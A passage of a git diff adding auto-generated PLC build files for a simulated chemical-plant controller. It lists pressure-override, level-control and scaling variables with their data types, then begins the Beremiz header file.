+228;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +231;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +232;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +233;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +234;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +235;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +236;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +237;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +238;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +239;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +240;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +241;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +242;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +243;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +245;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +246;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +247;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +248;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +249;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +251;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +252;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +253;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +254;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +256;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +257;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +258;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +259;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +260;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +261;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +262;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +263;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +264;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +265;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +266;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +267;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +268;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +269;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +272;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +273;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +274;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +275;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +276;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +277;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +278;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +279;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 